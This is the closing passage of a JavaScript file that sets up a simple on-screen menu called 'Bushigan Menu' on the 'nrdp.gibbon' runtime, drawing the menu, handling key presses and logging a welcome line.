try { nrdp.gibbon.setFocus(scene); } catch (e) {}
drawMenu();
nrdp.gibbon.addEventListener("key", onKey);
// initial welcome message
clearLog();
logUI("Welcome to Bushigan Menu.");
}
nrdp.gibbon.init(main);
})();